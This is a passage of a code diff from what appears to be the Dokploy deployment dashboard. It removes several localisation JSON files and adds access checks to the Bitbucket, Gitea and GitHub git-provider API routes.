"settings.server.webServer.storage.cleanDockerBuilder": "Maak Docker Builder & Systeem schoon",
"settings.server.webServer.storage.cleanMonitoring": "Maak monitoor schoon",
"settings.server.webServer.storage.cleanAll": "Maak alles schoon",
"settings.profile.title": "Account",
"settings.profile.description": "Veramder details van account.",
"settings.profile.email": "Email",
"settings.profile.password": "Wachtwoord",
"settings.profile.avatar": "Profiel Icoon",
"settings.appearance.title": "Uiterlijk",
"settings.appearance.description": "Verander het thema van je dashboard.",
"settings.appearance.theme": "Thema",
"settings.appearance.themeDescription": "Selecteer een thema voor je dashboard.",
"settings.appearance.themes.light": "Licht",
"settings.appearance.themes.dark": "Donker",
"settings.appearance.themes.system": "Systeem",
"settings.appearance.language": "Taal",
"settings.appearance.languageDescription": "Selecteer een taal voor je dashboard.",
"settings.terminal.connectionSettings": "Verbindings instellingen",
"settings.terminal.ipAddress": "IP Address",
"settings.terminal.port": "Poort",
"settings.terminal.username": "Gebruikersnaam"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,52 +0,0 @@
{
"settings.common.save": "Lagre",
"settings.server.domain.title": "Serverdomene",
"settings.server.domain.description": "Legg til et domene i serverapplikasjonen din.",
"settings.server.domain.form.domain": "Domene",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt Epost",
"settings.server.domain.form.certificate.label": "Sertifikatleverandør",
"settings.server.domain.form.certificate.placeholder": "Velg et sertifikat",
"settings.server.domain.form.certificateOptions.none": "Ingen",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Webserver",
"settings.server.webServer.description": "Last på nytt eller rens webserveren.",
"settings.server.webServer.actions": "Handlinger",
"settings.server.webServer.reload": "Last på nytt",
"settings.server.webServer.watchLogs": "Se logger",
"settings.server.webServer.updateServerIp": "Oppdater server-IP",
"settings.server.webServer.server.label": "Server",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Endre miljø",
"settings.server.webServer.traefik.managePorts": "Ytterligere portkartlegginger",
"settings.server.webServer.traefik.managePortsDescription": "Legg til eller fjern flere porter for Traefik",
"settings.server.webServer.traefik.targetPort": "Målport",
"settings.server.webServer.traefik.publishedPort": "Publisert port",
"settings.server.webServer.traefik.addPort": "Legg til port",
"settings.server.webServer.traefik.portsUpdated": "Portene ble oppdatert",
"settings.server.webServer.traefik.portsUpdateError": "Kunne ikke oppdatere portene",
"settings.server.webServer.traefik.publishMode": "Publiseringsmodus",
"settings.server.webServer.storage.label": "Lagring",
"settings.server.webServer.storage.cleanUnusedImages": "Rens ubrukte bilder",
"settings.server.webServer.storage.cleanUnusedVolumes": "Rens ubrukte volumer",
"settings.server.webServer.storage.cleanStoppedContainers": "Rens stoppete containere",
"settings.server.webServer.storage.cleanDockerBuilder": "Rens Docker Builder og System",
"settings.server.webServer.storage.cleanMonitoring": "Rens overvåking",
"settings.server.webServer.storage.cleanAll": "Rens alt",
"settings.profile.title": "Konto",
"settings.profile.description": "Endre detaljene for profilen din her.",
"settings.profile.email": "Epost",
"settings.profile.password": "Passord",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Utseende",
"settings.appearance.description": "Tilpass temaet for dashbordet ditt.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Velg et tema for dashbordet ditt",
"settings.appearance.themes.light": "Lys",
"settings.appearance.themes.dark": "Mørk",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Språk",
"settings.appearance.languageDescription": "Velg et språk for dashbordet ditt"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Zapisz",
"settings.common.enterTerminal": "Otwórz terminal",
"settings.server.domain.title": "Domena",
"settings.server.domain.description": "Dodaj domenę do aplikacji",
"settings.server.domain.form.domain": "Domena",
"settings.server.domain.form.letsEncryptEmail": "Email Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certyfikat",
"settings.server.domain.form.certificate.placeholder": "Wybierz certyfikat",
"settings.server.domain.form.certificateOptions.none": "Brak",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Domyślny)",
"settings.server.webServer.title": "Serwer",
"settings.server.webServer.description": "Przeładuj lub wyczyść serwer",
"settings.server.webServer.actions": "Akcje",
"settings.server.webServer.reload": "Przeładuj",
"settings.server.webServer.watchLogs": "Obserwuj logi",
"settings.server.webServer.updateServerIp": "Zaktualizuj IP serwera",
"settings.server.webServer.server.label": "Serwer",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Zmodyfikuj środowisko",
"settings.server.webServer.traefik.managePorts": "Dodatkowe mapowania portów",
"settings.server.webServer.traefik.managePortsDescription": "Dodaj lub usuń dodatkowe porty dla Traefik",
"settings.server.webServer.traefik.targetPort": "Port docelowy",
"settings.server.webServer.traefik.publishedPort": "Port opublikowany",
"settings.server.webServer.traefik.addPort": "Dodaj port",
"settings.server.webServer.traefik.portsUpdated": "Porty zaktualizowane pomyślnie",
"settings.server.webServer.traefik.portsUpdateError": "Nie udało się zaktualizować portów",
"settings.server.webServer.traefik.publishMode": "Tryb publikacji",
"settings.server.webServer.storage.label": "Przestrzeń",
"settings.server.webServer.storage.cleanUnusedImages": "Wyczyść nieużywane obrazy",
"settings.server.webServer.storage.cleanUnusedVolumes": "Wyczyść nieużywane wolumeny",
"settings.server.webServer.storage.cleanStoppedContainers": "Wyczyść zatrzymane kontenery",
"settings.server.webServer.storage.cleanDockerBuilder": "Wyczyść Docker Builder i System",
"settings.server.webServer.storage.cleanMonitoring": "Wyczyść monitorowanie",
"settings.server.webServer.storage.cleanAll": "Wyczyść wszystko",
"settings.profile.title": "Konto",
"settings.profile.description": "Zmień szczegóły swojego profilu",
"settings.profile.email": "Email",
"settings.profile.password": "Hasło",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Wygląd",
"settings.appearance.description": "Dostosuj motyw swojego pulpitu",
"settings.appearance.theme": "Motyw",
"settings.appearance.themeDescription": "Wybierz motyw swojego pulpitu",
"settings.appearance.themes.light": "Jasny",
"settings.appearance.themes.dark": "Ciemny",
"settings.appearance.themes.system": "System",
"settings.appearance.language": "Język",
"settings.appearance.languageDescription": "Wybierz język swojego pulpitu",
"settings.terminal.connectionSettings": "Ustawienia połączenia",
"settings.terminal.ipAddress": "Adres IP",
"settings.terminal.port": "Port",
"settings.terminal.username": "Nazwa użytkownika"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Salvar",
"settings.server.domain.title": "Domínio do Servidor",
"settings.server.domain.description": "Configure o domínio do servidor",
"settings.server.domain.form.domain": "Domínio",
"settings.server.domain.form.letsEncryptEmail": "Email do Let's Encrypt",
"settings.server.domain.form.certificate.label": "Certificado",
"settings.server.domain.form.certificate.placeholder": "Selecione um Certificado",
"settings.server.domain.form.certificateOptions.none": "Nenhum",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Padrão)",
"settings.server.webServer.title": "Servidor web",
"settings.server.webServer.description": "Limpar e recarregar servidor web.",
"settings.server.webServer.actions": "Ações",
"settings.server.webServer.reload": "Recarregar",
"settings.server.webServer.watchLogs": "Ver logs",
"settings.server.webServer.updateServerIp": "Atualizar IP do Servidor",
"settings.server.webServer.server.label": "Servidor",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Alterar Env",
"settings.server.webServer.storage.label": "Armazenamento",
"settings.server.webServer.storage.cleanUnusedImages": "Limpar imagens não utilizadas",
"settings.server.webServer.storage.cleanUnusedVolumes": "Limpar volumes não utilizados",
"settings.server.webServer.storage.cleanStoppedContainers": "Limpar containers parados",
"settings.server.webServer.storage.cleanDockerBuilder": "Limpar Docker Builder & System",
"settings.server.webServer.storage.cleanMonitoring": "Limpar Monitoramento",
"settings.server.webServer.storage.cleanAll": "Limpar Tudo",
"settings.profile.title": "Conta",
"settings.profile.description": "Altere os detalhes do seu perfil aqui.",
"settings.profile.email": "Email",
"settings.profile.password": "Senha",
"settings.profile.avatar": "Avatar",
"settings.appearance.title": "Aparencia",
"settings.appearance.description": "Personalize o tema do seu dashboard.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Selecione um tema para o dashboard",
"settings.appearance.themes.light": "Claro",
"settings.appearance.themes.dark": "Escuro",
"settings.appearance.themes.system": "Automático",
"settings.appearance.language": "Linguagem",
"settings.appearance.languageDescription": "Selecione o idioma do dashboard"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Сохранить",
"settings.common.enterTerminal": "Открыть терминал",
"settings.server.domain.title": "Домен сервера",
"settings.server.domain.description": "Установите домен для вашего серверного приложения Dokploy.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Email для Let's Encrypt",
"settings.server.domain.form.certificate.label": "Сертификат",
"settings.server.domain.form.certificate.placeholder": "Выберите сертификат",
"settings.server.domain.form.certificateOptions.none": "Нет",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Веб-сервер",
"settings.server.webServer.description": "Перезагрузка или очистка веб-сервера.",
"settings.server.webServer.actions": "Действия",
"settings.server.webServer.reload": "Перезагрузить",
"settings.server.webServer.watchLogs": "Просмотр логов",
"settings.server.webServer.updateServerIp": "Изменить IP адрес",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Изменить переменные окружения",
"settings.server.webServer.traefik.managePorts": "Назначение портов",
"settings.server.webServer.traefik.managePortsDescription": "Добавить или удалить дополнительные порты для Traefik",
"settings.server.webServer.traefik.targetPort": "Внутренний порт",
"settings.server.webServer.traefik.publishedPort": "Внешний порт",
"settings.server.webServer.traefik.addPort": "Добавить порт",
"settings.server.webServer.traefik.portsUpdated": "Порты успешно обновлены",
"settings.server.webServer.traefik.portsUpdateError": "Не удалось обновить порты",
"settings.server.webServer.traefik.publishMode": "Режим сопоставления",
"settings.server.webServer.storage.label": "Дисковое пространство",
"settings.server.webServer.storage.cleanUnusedImages": "Очистить неиспользуемые образы",
"settings.server.webServer.storage.cleanUnusedVolumes": "Очистить неиспользуемые тома",
"settings.server.webServer.storage.cleanStoppedContainers": "Очистить остановленные контейнеры",
"settings.server.webServer.storage.cleanDockerBuilder": "Очистить Docker Builder и систему",
"settings.server.webServer.storage.cleanMonitoring": "Очистить мониторинг",
"settings.server.webServer.storage.cleanAll": "Очистить все",
"settings.profile.title": "Аккаунт",
"settings.profile.description": "Измените данные вашего профиля.",
"settings.profile.email": "Email",
"settings.profile.password": "Пароль",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Внешний вид",
"settings.appearance.description": "Настройте тему Dokploy.",
"settings.appearance.theme": "Тема",
"settings.appearance.themeDescription": "Выберите тему системной панели",
"settings.appearance.themes.light": "Светлая",
"settings.appearance.themes.dark": "Темная",
"settings.appearance.themes.system": "Системная",
"settings.appearance.language": "Язык",
"settings.appearance.languageDescription": "Выберите язык для панели управления",
"settings.terminal.connectionSettings": "Настройки подключения",
"settings.terminal.ipAddress": "IP адрес",
"settings.terminal.port": "Порт",
"settings.terminal.username": "Имя пользователя"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,44 +0,0 @@
{
"settings.common.save": "Kaydet",
"settings.server.domain.title": "Sunucu Alanı",
"settings.server.domain.description": "Sunucu uygulamanıza bir alan adı ekleyin.",
"settings.server.domain.form.domain": "Alan Adı",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt E-postası",
"settings.server.domain.form.certificate.label": "Sertifika",
"settings.server.domain.form.certificate.placeholder": "Bir sertifika seçin",
"settings.server.domain.form.certificateOptions.none": "Hiçbiri",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt (Varsayılan)",
"settings.server.webServer.title": "Web Sunucusu",
"settings.server.webServer.description": "Web sunucusunu yeniden yükleyin veya temizleyin.",
"settings.server.webServer.actions": "İşlemler",
"settings.server.webServer.reload": "Yeniden Yükle",
"settings.server.webServer.watchLogs": "Günlükleri İzle",
"settings.server.webServer.updateServerIp": "Sunucu IP'sini Güncelle",
"settings.server.webServer.server.label": "Sunucu",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Env Değiştir",
"settings.server.webServer.storage.label": "Alan",
"settings.server.webServer.storage.cleanUnusedImages": "Kullanılmayan görüntüleri temizle",
"settings.server.webServer.storage.cleanUnusedVolumes": "Kullanılmayan birimleri temizle",
"settings.server.webServer.storage.cleanStoppedContainers": "Durmuş konteynerleri temizle",
"settings.server.webServer.storage.cleanDockerBuilder": "Docker Builder ve Sistemi Temizle",
"settings.server.webServer.storage.cleanMonitoring": "İzlemeyi Temizle",
"settings.server.webServer.storage.cleanAll": "Hepsini temizle",
"settings.profile.title": "Hesap",
"settings.profile.description": "Profil detaylarınızı buradan değiştirebilirsiniz.",
"settings.profile.email": "E-posta",
"settings.profile.password": "Şifre",
"settings.profile.avatar": "Profil Resmi",
"settings.appearance.title": "Görünüm",
"settings.appearance.description": "Kontrol panelinin temasını özelleştirin.",
"settings.appearance.theme": "Tema",
"settings.appearance.themeDescription": "Kontrol paneli için bir tema seçin",
"settings.appearance.themes.light": "Açık",
"settings.appearance.themes.dark": "Koyu",
"settings.appearance.themes.system": "Sistem",
"settings.appearance.language": "Dil",
"settings.appearance.languageDescription": "Kontrol paneli için bir dil seçin"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "Зберегти",
"settings.common.enterTerminal": "Увійти в термінал",
"settings.server.domain.title": "Домен сервера",
"settings.server.domain.description": "Додайте домен до вашого серверного застосунку.",
"settings.server.domain.form.domain": "Домен",
"settings.server.domain.form.letsEncryptEmail": "Електронна пошта для Let's Encrypt",
"settings.server.domain.form.certificate.label": "Постачальник сертифікатів",
"settings.server.domain.form.certificate.placeholder": "Оберіть сертифікат",
"settings.server.domain.form.certificateOptions.none": "Відсутній",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Веб-сервер",
"settings.server.webServer.description": "Перезавантажте або очистьте веб-сервер.",
"settings.server.webServer.actions": "Дії",
"settings.server.webServer.reload": "Перезавантажити",
"settings.server.webServer.watchLogs": "Перегляд логів",
"settings.server.webServer.updateServerIp": "Оновити IP-адресу сервера",
"settings.server.webServer.server.label": "Сервер",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "Змінити середовище",
"settings.server.webServer.traefik.managePorts": "Додаткові порти",
"settings.server.webServer.traefik.managePortsDescription": "Додайте або видаліть порти для Traefik",
"settings.server.webServer.traefik.targetPort": "Цільовий порт",
"settings.server.webServer.traefik.publishedPort": "Опублікований порт",
"settings.server.webServer.traefik.addPort": "Додати порт",
"settings.server.webServer.traefik.portsUpdated": "Порти успішно оновлено",
"settings.server.webServer.traefik.portsUpdateError": "Не вдалося оновити порти",
"settings.server.webServer.traefik.publishMode": "Режим публікації",
"settings.server.webServer.storage.label": "Дисковий простір",
"settings.server.webServer.storage.cleanUnusedImages": "Очистити невикористані образи",
"settings.server.webServer.storage.cleanUnusedVolumes": "Очистити невикористані томи",
"settings.server.webServer.storage.cleanStoppedContainers": "Очистити зупинені контейнери",
"settings.server.webServer.storage.cleanDockerBuilder": "Очистити Docker Builder і систему",
"settings.server.webServer.storage.cleanMonitoring": "Очистити моніторинг",
"settings.server.webServer.storage.cleanAll": "Очистити все",
"settings.profile.title": "Обліковий запис",
"settings.profile.description": "Змініть дані вашого профілю.",
"settings.profile.email": "Електронна пошта",
"settings.profile.password": "Пароль",
"settings.profile.avatar": "Аватар",
"settings.appearance.title": "Зовнішній вигляд",
"settings.appearance.description": "Налаштуйте тему вашої панелі керування.",
"settings.appearance.theme": "Тема",
"settings.appearance.themeDescription": "Оберіть тему для вашої панелі керування",
"settings.appearance.themes.light": "Світла",
"settings.appearance.themes.dark": "Темна",
"settings.appearance.themes.system": "Системна",
"settings.appearance.language": "Мова",
"settings.appearance.languageDescription": "Оберіть мову для вашої панелі керування",
"settings.terminal.connectionSettings": "Налаштування з'єднання",
"settings.terminal.ipAddress": "IP-адреса",
"settings.terminal.port": "Порт",
"settings.terminal.username": "Ім'я користувача"
}

View File

@@ -1,78 +0,0 @@
{
"dashboard.title": "仪表盘",
"dashboard.overview": "概览",
"dashboard.projects": "项目",
"dashboard.servers": "服务器",
"dashboard.docker": "Docker",
"dashboard.monitoring": "监控",
"dashboard.settings": "设置",
"dashboard.logout": "退出登录",
"dashboard.profile": "个人资料",
"dashboard.terminal": "终端",
"dashboard.containers": "容器",
"dashboard.images": "镜像",
"dashboard.volumes": "卷",
"dashboard.networks": "网络",
"button.create": "创建",
"button.edit": "编辑",
"button.delete": "删除",
"button.cancel": "取消",
"button.save": "保存",
"button.confirm": "确认",
"button.back": "返回",
"button.next": "下一步",
"button.finish": "完成",
"status.running": "运行中",
"status.stopped": "已停止",
"status.error": "错误",
"status.pending": "等待中",
"status.success": "成功",
"status.failed": "失败",
"form.required": "必填",
"form.invalid": "无效",
"form.submit": "提交",
"form.reset": "重置",
"notification.success": "操作成功",
"notification.error": "操作失败",
"notification.warning": "警告",
"notification.info": "信息",
"time.now": "刚刚",
"time.minutes": "分钟前",
"time.hours": "小时前",
"time.days": "天前",
"filter.all": "全部",
"filter.active": "活跃",
"filter.inactive": "不活跃",
"sort.asc": "升序",
"sort.desc": "降序",
"search.placeholder": "搜索...",
"search.noResults": "无结果",
"pagination.prev": "上一页",
"pagination.next": "下一页",
"pagination.of": "共 {0} 页",
"error.notFound": "未找到",
"error.serverError": "服务器错误",
"error.unauthorized": "未授权",
"error.forbidden": "禁止访问",
"loading": "加载中...",
"empty": "暂无数据",
"more": "更多",
"less": "收起",
"project.create": "创建项目",
"project.edit": "编辑项目",
"project.delete": "删除项目",
"project.name": "项目名称",
"project.description": "项目描述",
"service.create": "创建服务",
"service.edit": "编辑服务",
"service.delete": "删除服务",
"service.name": "服务名称",
"service.type": "服务类型",
"domain.add": "添加域名",
"domain.remove": "移除域名",
"environment.variables": "环境变量",
"environment.add": "添加环境变量",
"environment.edit": "编辑环境变量",
"environment.name": "变量名",
"environment.value": "变量值"
}

View File

@@ -1,67 +0,0 @@
{
"settings.common.save": "保存",
"settings.common.enterTerminal": "终端",
"settings.server.domain.title": "服务器域名",
"settings.server.domain.description": "为您的服务器应用添加域名。",
"settings.server.domain.form.domain": "域名",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 邮箱",
"settings.server.domain.form.certificate.label": "证书提供商",
"settings.server.domain.form.certificate.placeholder": "选择证书",
"settings.server.domain.form.certificateOptions.none": "无",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "Web 服务器",
"settings.server.webServer.description": "重载或清理 Web 服务器。",
"settings.server.webServer.actions": "操作",
"settings.server.webServer.reload": "重新加载",
"settings.server.webServer.watchLogs": "查看日志",
"settings.server.webServer.updateServerIp": "更新服务器 IP",
"settings.server.webServer.server.label": "服务器",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "修改环境变量",
"settings.server.webServer.traefik.managePorts": "额外端口映射",
"settings.server.webServer.traefik.managePortsDescription": "为 Traefik 添加或删除额外端口",
"settings.server.webServer.traefik.targetPort": "目标端口",
"settings.server.webServer.traefik.publishedPort": "发布端口",
"settings.server.webServer.traefik.addPort": "添加端口",
"settings.server.webServer.traefik.portsUpdated": "端口更新成功",
"settings.server.webServer.traefik.portsUpdateError": "端口更新失败",
"settings.server.webServer.traefik.publishMode": "发布模式",
"settings.server.webServer.storage.label": "存储空间",
"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的镜像",
"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系统",
"settings.server.webServer.storage.cleanMonitoring": "清理监控数据",
"settings.server.webServer.storage.cleanAll": "清理所有内容",
"settings.profile.title": "账户",
"settings.profile.description": "在此更改您的个人资料详情。",
"settings.profile.email": "邮箱",
"settings.profile.password": "密码",
"settings.profile.avatar": "头像",
"settings.appearance.title": "外观",
"settings.appearance.description": "自定义您的仪表盘主题。",
"settings.appearance.theme": "主题",
"settings.appearance.themeDescription": "为您的仪表盘选择主题",
"settings.appearance.themes.light": "明亮",
"settings.appearance.themes.dark": "暗黑",
"settings.appearance.themes.system": "跟随系统",
"settings.appearance.language": "语言",
"settings.appearance.languageDescription": "为您的仪表盘选择语言",
"settings.terminal.connectionSettings": "连接设置",
"settings.terminal.ipAddress": "IP 地址",
"settings.terminal.port": "端口",
"settings.terminal.username": "用户名",
"settings.settings": "设置",
"settings.general": "通用设置",
"settings.security": "安全",
"settings.users": "用户管理",
"settings.roles": "角色管理",
"settings.permissions": "权限",
"settings.api": "API设置",
"settings.certificates": "证书管理",
"settings.ssh": "SSH密钥",
"settings.backups": "备份",
"settings.logs": "日志",
"settings.updates": "更新",
"settings.network": "网络"
}

View File

@@ -1 +0,0 @@
{}

View File

@@ -1,58 +0,0 @@
{
"settings.common.save": "儲存",
"settings.common.enterTerminal": "進入終端機",
"settings.server.domain.title": "網域設定",
"settings.server.domain.description": "新增網域至伺服器",
"settings.server.domain.form.domain": "網域",
"settings.server.domain.form.letsEncryptEmail": "Let's Encrypt 信箱",
"settings.server.domain.form.certificate.label": "憑證",
"settings.server.domain.form.certificate.placeholder": "選擇一個憑證",
"settings.server.domain.form.certificateOptions.none": "無",
"settings.server.domain.form.certificateOptions.letsencrypt": "Let's Encrypt",
"settings.server.webServer.title": "伺服器設定",
"settings.server.webServer.description": "管理伺服器",
"settings.server.webServer.actions": "操作",
"settings.server.webServer.reload": "重新載入",
"settings.server.webServer.watchLogs": "查看日誌",
"settings.server.webServer.updateServerIp": "更新伺服器 IP",
"settings.server.webServer.server.label": "伺服器",
"settings.server.webServer.traefik.label": "Traefik",
"settings.server.webServer.traefik.modifyEnv": "修改環境變數",
"settings.server.webServer.traefik.managePorts": "埠轉發",
"settings.server.webServer.traefik.managePortsDescription": "新增或移除 Traefik 的其他埠",
"settings.server.webServer.traefik.targetPort": "目標埠",
"settings.server.webServer.traefik.publishedPort": "對外埠",
"settings.server.webServer.traefik.addPort": "新增埠",
"settings.server.webServer.traefik.portsUpdated": "埠更新成功",
"settings.server.webServer.traefik.portsUpdateError": "埠更新失敗",
"settings.server.webServer.traefik.publishMode": "埠對應模式",
"settings.server.webServer.storage.label": "儲存空間",
"settings.server.webServer.storage.cleanUnusedImages": "清理未使用的映像檔",
"settings.server.webServer.storage.cleanUnusedVolumes": "清理未使用的卷",
"settings.server.webServer.storage.cleanStoppedContainers": "清理已停止的容器",
"settings.server.webServer.storage.cleanDockerBuilder": "清理 Docker Builder 和系統快取",
"settings.server.webServer.storage.cleanMonitoring": "清理監控數據",
"settings.server.webServer.storage.cleanAll": "清理所有內容",
"settings.profile.title": "帳戶",
"settings.profile.description": "更改您的個人資料",
"settings.profile.email": "信箱",
"settings.profile.password": "密碼",
"settings.profile.avatar": "頭像",
"settings.appearance.title": "外觀",
"settings.appearance.description": "自訂面板主題",
"settings.appearance.theme": "主題",
"settings.appearance.themeDescription": "選擇面板主題",
"settings.appearance.themes.light": "明亮",
"settings.appearance.themes.dark": "黑暗",
"settings.appearance.themes.system": "系統",
"settings.appearance.language": "語言",
"settings.appearance.languageDescription": "選擇面板語言",
"settings.terminal.connectionSettings": "終端機設定",
"settings.terminal.ipAddress": "IP 位址",
"settings.terminal.port": "埠",
"settings.terminal.username": "使用者名稱"
}

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createBitbucket, createBitbucket,
findBitbucketById, findBitbucketById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -51,8 +52,10 @@ export const bitbucketRouter = createTRPCRouter({
}), }),
one: protectedProcedure one: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
return await findBitbucketById(input.bitbucketId); const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return bitbucket;
}), }),
bitbucketProviders: protectedProcedure.query(async ({ ctx }) => { bitbucketProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -78,18 +81,26 @@ export const bitbucketRouter = createTRPCRouter({
getBitbucketRepositories: protectedProcedure getBitbucketRepositories: protectedProcedure
.input(apiFindOneBitbucket) .input(apiFindOneBitbucket)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
return await getBitbucketRepositories(input.bitbucketId); return await getBitbucketRepositories(input.bitbucketId);
}), }),
getBitbucketBranches: protectedProcedure getBitbucketBranches: protectedProcedure
.input(apiFindBitbucketBranches) .input(apiFindBitbucketBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.bitbucketId) {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
}
return await getBitbucketBranches(input); return await getBitbucketBranches(input);
}), }),
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiBitbucketTestConnection) .input(apiBitbucketTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
try { try {
const bitbucket = await findBitbucketById(input.bitbucketId);
await assertGitProviderAccess(ctx.session, bitbucket.gitProvider);
const result = await testBitbucketConnection(input); const result = await testBitbucketConnection(input);
return `Found ${result} repositories`; return `Found ${result} repositories`;

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
createGitea, createGitea,
findGiteaById, findGiteaById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
@@ -53,9 +54,13 @@ export const giteaRouter = createTRPCRouter({
} }
}), }),
one: protectedProcedure.input(apiFindOneGitea).query(async ({ input }) => { one: protectedProcedure
return await findGiteaById(input.giteaId); .input(apiFindOneGitea)
}), .query(async ({ input, ctx }) => {
const gitea = await findGiteaById(input.giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
return gitea;
}),
giteaProviders: protectedProcedure.query(async ({ ctx }) => { giteaProviders: protectedProcedure.query(async ({ ctx }) => {
const accessibleIds = await getAccessibleGitProviderIds(ctx.session); const accessibleIds = await getAccessibleGitProviderIds(ctx.session);
@@ -89,7 +94,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaRepositories: protectedProcedure getGiteaRepositories: protectedProcedure
.input(apiFindOneGitea) .input(apiFindOneGitea)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const { giteaId } = input; const { giteaId } = input;
if (!giteaId) { if (!giteaId) {
@@ -99,6 +104,9 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const repositories = await getGiteaRepositories(giteaId); const repositories = await getGiteaRepositories(giteaId);
return repositories; return repositories;
@@ -113,7 +121,7 @@ export const giteaRouter = createTRPCRouter({
getGiteaBranches: protectedProcedure getGiteaBranches: protectedProcedure
.input(apiFindGiteaBranches) .input(apiFindGiteaBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const { giteaId, owner, repositoryName } = input; const { giteaId, owner, repositoryName } = input;
if (!giteaId || !owner || !repositoryName) { if (!giteaId || !owner || !repositoryName) {
@@ -124,6 +132,9 @@ export const giteaRouter = createTRPCRouter({
}); });
} }
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
return await getGiteaBranches({ return await getGiteaBranches({
giteaId, giteaId,
@@ -141,9 +152,12 @@ export const giteaRouter = createTRPCRouter({
testConnection: protectedProcedure testConnection: protectedProcedure
.input(apiGiteaTestConnection) .input(apiGiteaTestConnection)
.mutation(async ({ input }) => { .mutation(async ({ input, ctx }) => {
const giteaId = input.giteaId ?? ""; const giteaId = input.giteaId ?? "";
const gitea = await findGiteaById(giteaId);
await assertGitProviderAccess(ctx.session, gitea.gitProvider);
try { try {
const result = await testGiteaConnection({ const result = await testGiteaConnection({
giteaId, giteaId,

View File

@@ -1,4 +1,5 @@
import { import {
assertGitProviderAccess,
findGithubById, findGithubById,
getAccessibleGitProviderIds, getAccessibleGitProviderIds,
getGithubBranches, getGithubBranches,
@@ -22,17 +23,27 @@ import {
} from "@/server/db/schema"; } from "@/server/db/schema";
export const githubRouter = createTRPCRouter({ export const githubRouter = createTRPCRouter({
one: protectedProcedure.input(apiFindOneGithub).query(async ({ input }) => { one: protectedProcedure
return await findGithubById(input.githubId); .input(apiFindOneGithub)
}), .query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return github;
}),
getGithubRepositories: protectedProcedure getGithubRepositories: protectedProcedure
.input(apiFindOneGithub) .input(apiFindOneGithub)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
const github = await findGithubById(input.githubId);
await assertGitProviderAccess(ctx.session, github.gitProvider);
return await getGithubRepositories(input.githubId); return await getGithubRepositories(input.githubId);
}), }),
getGithubBranches: protectedProcedure getGithubBranches: protectedProcedure
.input(apiFindGithubBranches) .input(apiFindGithubBranches)
.query(async ({ input }) => { .query(async ({ input, ctx }) => {
if (input.githubId) {
